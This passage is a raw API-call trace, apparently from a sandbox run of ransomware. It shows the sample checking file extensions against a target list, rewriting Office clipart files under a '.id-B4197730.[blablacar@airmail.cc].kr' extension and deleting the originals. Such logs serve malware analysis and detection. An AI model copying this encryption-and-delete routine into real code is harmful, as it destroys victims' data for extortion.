(lpString1=".docx", lpString2="4.WMF") returned -1 [0205.225] lstrlenW (lpString=".pdf") returned 4 [0205.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.225] lstrlenW (lpString=".xls") returned 4 [0205.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.225] lstrlenW (lpString=".xlsx") returned 5 [0205.225] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0205.225] lstrlenW (lpString=".ppt") returned 4 [0205.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.225] lstrlenW (lpString=".zip") returned 4 [0205.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.226] lstrlenW (lpString=".rar") returned 4 [0205.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.226] lstrlenW (lpString=".bz2") returned 4 [0205.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.226] lstrlenW (lpString=".7z") returned 3 [0205.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.226] lstrlenW (lpString=".dbf") returned 4 [0205.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.226] lstrlenW (lpString=".1cd") returned 4 [0205.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.226] lstrlenW (lpString=".jpg") returned 4 [0205.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.226] lstrlenW (lpString=".doc") returned 4 [0205.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.226] lstrlenW (lpString=".docx") returned 5 [0205.226] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0205.226] lstrlenW (lpString=".pdf") returned 4 [0205.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.226] lstrlenW (lpString=".xls") returned 4 [0205.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.226] lstrlenW (lpString=".xlsx") returned 5 [0205.226] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0205.226] lstrlenW (lpString=".ppt") returned 4 [0205.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.226] lstrlenW (lpString=".zip") returned 4 [0205.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.227] lstrlenW (lpString=".rar") returned 4 [0205.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.227] lstrlenW (lpString=".bz2") returned 4 [0205.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.227] lstrlenW (lpString=".7z") returned 3 [0205.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.227] lstrlenW (lpString=".dbf") returned 4 [0205.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.227] lstrlenW (lpString=".1cd") returned 4 [0205.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.227] lstrlenW (lpString=".jpg") returned 4 [0205.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.227] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.227] lstrlenW (lpString="J0102762.WMF") returned 12 [0205.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.228] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11216) returned 1 [0205.228] CloseHandle (hObject=0x38c) returned 1 [0205.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0205.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.229] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.229] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.230] GetLastError () returned 0x0 [0205.230] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0205.552] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0205.553] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.553] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.553] SetEndOfFile (hFile=0x4d8) returned 1 [0205.553] CloseHandle (hObject=0x4d8) returned 1 [0205.553] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.553] SetEndOfFile (hFile=0x38c) returned 1 [0205.556] CloseHandle (hObject=0x38c) returned 1 [0205.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0205.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.558] lstrlenW (lpString=".doc") returned 4 [0205.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.558] lstrlenW (lpString=".docx") returned 5 [0205.558] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.558] lstrlenW (lpString=".pdf") returned 4 [0205.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.558] lstrlenW (lpString=".xls") returned 4 [0205.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.558] lstrlenW (lpString=".xlsx") returned 5 [0205.558] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.558] lstrlenW (lpString=".ppt") returned 4 [0205.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.558] lstrlenW (lpString=".zip") returned 4 [0205.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.558] lstrlenW (lpString=".rar") returned 4 [0205.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.558] lstrlenW (lpString=".bz2") returned 4 [0205.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.558] lstrlenW (lpString=".7z") returned 3 [0205.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.558] lstrlenW (lpString=".dbf") returned 4 [0205.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.558] lstrlenW (lpString=".1cd") returned 4 [0205.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.558] lstrlenW (lpString=".jpg") returned 4 [0205.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.559] lstrlenW (lpString=".doc") returned 4 [0205.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.559] lstrlenW (lpString=".docx") returned 5 [0205.559] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.559] lstrlenW (lpString=".pdf") returned 4 [0205.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.559] lstrlenW (lpString=".xls") returned 4 [0205.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.559] lstrlenW (lpString=".xlsx") returned 5 [0205.559] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.559] lstrlenW (lpString=".ppt") returned 4 [0205.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.559] lstrlenW (lpString=".zip") returned 4 [0205.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.559] lstrlenW (lpString=".rar") returned 4 [0205.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.559] lstrlenW (lpString=".bz2") returned 4 [0205.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.559] lstrlenW (lpString=".7z") returned 3 [0205.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.559] lstrlenW (lpString=".dbf") returned 4 [0205.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.559] lstrlenW (lpString=".1cd") returned 4 [0205.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0205.559] lstrlenW (lpString=".jpg") returned 4 [0205.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.560] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.560] lstrlenW (lpString="J0105244.WMF") returned 12 [0205.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.561] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11228) returned 1 [0205.561] CloseHandle (hObject=0x38c) returned 1 [0205.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0205.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.561] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.561] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.562] GetLastError () returned 0x0 [0205.563] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0205.564] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0205.566] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.566] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.566] SetEndOfFile (hFile=0x4d8) returned 1 [0205.567] CloseHandle (hObject=0x4d8) returned 1 [0205.567] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.567] SetEndOfFile (hFile=0x38c) returned 1 [0205.570] CloseHandle (hObject=0x38c) returned 1 [0205.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0205.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.572] lstrlenW (lpString=".doc") returned 4 [0205.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.572] lstrlenW (lpString=".docx") returned 5 [0205.572] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0205.572] lstrlenW (lpString=".pdf") returned 4 [0205.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.572] lstrlenW (lpString=".xls") returned 4 [0205.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.572] lstrlenW (lpString=".xlsx") returned 5 [0205.572] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0205.572] lstrlenW (lpString=".ppt") returned 4 [0205.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.572] lstrlenW (lpString=".zip") returned 4 [0205.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.572] lstrlenW (lpString=".rar") returned 4 [0205.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.572] lstrlenW (lpString=".bz2") returned 4 [0205.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.572] lstrlenW (lpString=".7z") returned 3 [0205.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.572] lstrlenW (lpString=".dbf") returned 4 [0205.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.572] lstrlenW (lpString=".1cd") returned 4 [0205.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.572] lstrlenW (lpString=".jpg") returned 4 [0205.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.573] lstrlenW (lpString=".doc") returned 4 [0205.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.573] lstrlenW (lpString=".docx") returned 5 [0205.573] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0205.573] lstrlenW (lpString=".pdf") returned 4 [0205.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.573] lstrlenW (lpString=".xls") returned 4 [0205.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.573] lstrlenW (lpString=".xlsx") returned 5 [0205.573] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0205.573] lstrlenW (lpString=".ppt") returned 4 [0205.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.573] lstrlenW (lpString=".zip") returned 4 [0205.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.573] lstrlenW (lpString=".rar") returned 4 [0205.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.573] lstrlenW (lpString=".bz2") returned 4 [0205.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.573] lstrlenW (lpString=".7z") returned 3 [0205.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.573] lstrlenW (lpString=".dbf") returned 4 [0205.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.573] lstrlenW (lpString=".1cd") returned 4 [0205.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0205.573] lstrlenW (lpString=".jpg") returned 4 [0205.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.574] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.574] lstrlenW (lpString="J0105246.WMF") returned 12 [0205.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.575] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19328) returned 1 [0205.575] CloseHandle (hObject=0x38c) returned 1 [0205.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0205.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.578] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.578] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.579] GetLastError () returned 0x0 [0205.579] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0205.581] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0205.583] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.583] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.583] SetEndOfFile (hFile=0x4d8) returned 1 [0205.583] CloseHandle (hObject=0x4d8) returned 1 [0205.583] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.583] SetEndOfFile (hFile=0x38c) returned 1 [0205.587] CloseHandle (hObject=0x38c) returned 1 [0205.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0205.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0205.588] lstrlenW (lpString=".doc") returned 4 [0205.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.589] lstrlenW (lpString=".docx") returned 5 [0205.589] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0205.589] lstrlenW (lpString=".pdf") returned 4 [0205.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.589] lstrlenW (lpString=".xls") returned 4 [0205.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.589] lstrlenW (lpString=".xlsx") returned 5 [0205.589] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0205.589] lstrlenW (lpString=".ppt") returned 4 [0205.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.589] lstrlenW (lpString="C:\\Program 